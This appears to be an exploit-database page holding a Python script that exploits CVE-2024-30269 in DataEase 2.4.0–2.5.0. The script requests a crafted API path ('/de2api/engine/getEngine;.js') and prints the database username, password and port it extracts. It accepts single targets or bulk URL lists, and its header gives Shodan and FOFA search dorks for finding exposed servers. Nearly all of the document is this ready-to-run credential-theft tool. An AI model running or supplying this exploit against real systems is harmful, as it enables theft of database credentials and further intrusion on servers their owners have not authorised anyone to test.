881542919e
7 changes to exploits/shellcodes/ghdb DataEase 2.4.0 - Database Configuration Information Exposure Palo Alto Networks Expedition 1.2.90.1 - Admin Account Takeover Watcharr 1.43.0 - Remote Code Execution (RCE) WBCE CMS 1.6.3 - Authenticated Remote Code Execution (RCE) Backup and Staging by WP Time Capsule 1.22.21 - Unauthenticated Arbitrary File Upload Reservit Hotel 2.1 - Stored Cross-Site Scripting (XSS)
93 lines
No EOL
3.6 KiB
Python
Executable file
93 lines
No EOL
3.6 KiB
Python
Executable file
################################################################
|
|
############################ #
|
|
#- Exploit Title: DataEase Database Creds Extractor #
|
|
#- Shodan Dork: http.html:"dataease" #
|
|
#- FOFA Dork: body="dataease" && title=="DataEase" #
|
|
#- Exploit Author: ByteHunter #
|
|
#- Email: 0xByteHunter@proton.me #
|
|
#- vulnerable Versions: 2.4.0-2.5.0 #
|
|
#- Tested on: 2.4.0 #
|
|
#- CVE : CVE-2024-30269 #
|
|
############################ #
|
|
################################################################
|
|
|
|
import argparse
|
|
import requests
|
|
import re
|
|
import json
|
|
from tqdm import tqdm
|
|
|
|
def create_vulnerability_checker():
|
|
vulnerable_count = 0
|
|
|
|
def check_vulnerability(url):
|
|
nonlocal vulnerable_count
|
|
endpoint = "/de2api/engine/getEngine;.js"
|
|
full_url = f"{url}{endpoint}"
|
|
headers = {
|
|
"Host": url.split('/')[2],
|
|
"Accept-Encoding": "gzip, deflate, br",
|
|
"Accept": "*/*",
|
|
"Accept-Language": "en-US;q=0.9,en;q=0.8",
|
|
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36",
|
|
"Connection": "close",
|
|
"Cache-Control": "max-age=0"
|
|
}
|
|
|
|
try:
|
|
response = requests.get(full_url, headers=headers, timeout=5)
|
|
if response.status_code == 200:
|
|
try:
|
|
json_data = response.json()
|
|
config = json_data.get("data", {}).get("configuration", None)
|
|
|
|
if config:
|
|
config_data = json.loads(config)
|
|
|
|
username = config_data.get("username")
|
|
password = config_data.get("password")
|
|
port = config_data.get("port")
|
|
|
|
if username and password:
|
|
vulnerable_count += 1
|
|
print(f"Vulnerable: {full_url}")
|
|
print(f"Username: {username}")
|
|
print(f"Password: {password}")
|
|
if port is not None:
|
|
print(f"Port Number: {port}")
|
|
|
|
except (json.JSONDecodeError, KeyError):
|
|
print(f"Invalid JSON response from {full_url}")
|
|
|
|
except requests.RequestException:
|
|
pass
|
|
|
|
return vulnerable_count
|
|
|
|
return check_vulnerability
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(description="CVE-2024-30269 DataEase Database Creds Extractor")
|
|
parser.add_argument('-u', '--url', type=str, help='Single target')
|
|
parser.add_argument('-l', '--list', type=str, help='URL File List')
|
|
args = parser.parse_args()
|
|
|
|
check_vulnerability = create_vulnerability_checker()
|
|
|
|
if args.url:
|
|
check_vulnerability(args.url)
|
|
elif args.list:
|
|
try:
|
|
with open(args.list, 'r') as file:
|
|
urls = [url.strip() for url in file.readlines() if url.strip()]
|
|
total_urls = len(urls)
|
|
for url in tqdm(urls, desc="Processing URLs", unit="url"):
|
|
check_vulnerability(url)
|
|
# tqdm.write(f"Vulnerable Instances: {check_vulnerability(url)}/{total_urls}")
|
|
except FileNotFoundError:
|
|
print(f"File not found: {args.list}")
|
|
else:
|
|
print("provide a URL with -u or a file with -l.")
|
|
|
|
if __name__ == "__main__":
|
|
main() |